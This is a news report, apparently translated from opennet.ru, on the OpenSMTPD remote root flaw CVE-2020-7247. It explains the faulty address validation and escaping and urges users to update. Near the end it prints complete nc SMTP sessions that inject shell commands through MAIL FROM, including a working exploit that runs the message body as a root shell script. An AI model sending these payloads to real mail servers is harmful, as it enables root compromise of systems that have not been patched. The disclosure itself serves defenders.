A vulnerability in OpenSMTPD that allows remote code execution with root privileges.

In the developing project OpenBSD mail server OpenSMTPD identified critical vulnerability (CVE-2020-7247), allowing remote execution of shell commands on the server with root user privileges. The vulnerability was discovered during a follow-up audit conducted by Qualys Security (the previous audit of OpenSMTPD was conducted in 2015, while the new vulnerability has been present since May 2018). The issue has been closed is present in the release of OpenSMTPD 6.6.2. All users are recommended to urgently install the update (for OpenBSD, the fix can be installed via syspatch).

Two attack vectors have been proposed. The first works in the default configuration of OpenSMTPD (accepting requests only from localhost) and allows the issue to be exploited locally when the attacker has access to the local network interface (loopback) on the server (for example, in hosting systems). The second variant appears when configuring OpenSMTPD to accept external network requests (a mail server that receives external mail). Researchers have prepared a working prototype exploit that functions successfully with both the OpenSMTPD version included in OpenBSD 6.6 and the portable version for other operating systems (tested in Debian Testing).

The problem is caused by a bug in the smtp_mailaddr() function, which is called to validate the values in the "MAIL FROM" and "RCPT TO" fields, determining the sender/recipient and transmitted during the connection to the mail server. To validate the part of the email address preceding the "@" symbol, the valid_localpart() function is called within smtp_mailaddr(), which considers the characters "!#$%&’*\/?!^`{|}~+-=_" as acceptable (MAILADDR_ALLOWED), in accordance with RFC 5322.
At the same time, the actual string escaping is performed in the mda_expand_token() function, which only replaces the characters "!#$%&’*?`{|}~" (MAILADDR_ESCAPE). Subsequently, the string prepared in mda_expand_token() is used when calling the delivery agent (MDA) using the command ‘execle("/bin/sh", "/bin/sh", "-c", mda_command,…’. In the case of placing the email in mbox, through /bin/sh, the command "\/usr\/libexec\/mail.local -f %%{mbox.from} %%{user.username}" is initiated, where the value "%{mbox.from}" includes the escaped data from the "MAIL FROM" parameter.

The command "\/usr\/libexec\/mail.local -f %%{mbox.from} %%{user.username}" is initiated, where the value "%{mbox.from}" includes the escaped data from the "MAIL FROM" parameter.

The essence of the vulnerability is that smtp_mailaddr() has a logic error, causing it to return a successful validation code when an empty domain is passed in the email, even if the part before '@' contains invalid characters. Subsequently, when preparing the string, the mda_expand_token() function does not escape all possible shell special characters, only those that are valid in an email address. Thus, to execute one's command, it is sufficient to use the character ';' and a space in the local part of the email, which are not included in the MAILADDR_ESCAPE set and are not escaped. For example:

$ nc 127.0.0.1 25

HELO professor.falken
MAIL FROM:<;sleep 66;>
RCPT TO:<root>
DATA
.
QUIT

After this session, OpenSMTPD will execute a shell command when delivering to mbox

/usr/libexec/mail.local -f ;sleep 66; root

At the same time, the attack capabilities are limited by the fact that the local part of the address cannot exceed 64 characters, and special characters '$' and '|' are replaced with ':' during escaping. To bypass this limitation, the fact that the body of the email is passed after invoking /usr/libexec/mail.local through the input stream is utilized, i.e., through address manipulation, one can only invoke the command interpreter sh and use the email body as a set of instructions. Since service SMTP headers are specified at the beginning of the email, it is proposed to use the read command in a loop to skip them. The working exploit looks something like this:

$ nc 192.168.56.143 25

HELO professor.falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
RCPT TO:<root@example.org>
DATA
#0
#1
…
#d
for i in W O P R; do
echo -n "($i) " && id || break
done > /root/x."`id -u`"."$$"
.
QUIT

Source: opennet.ru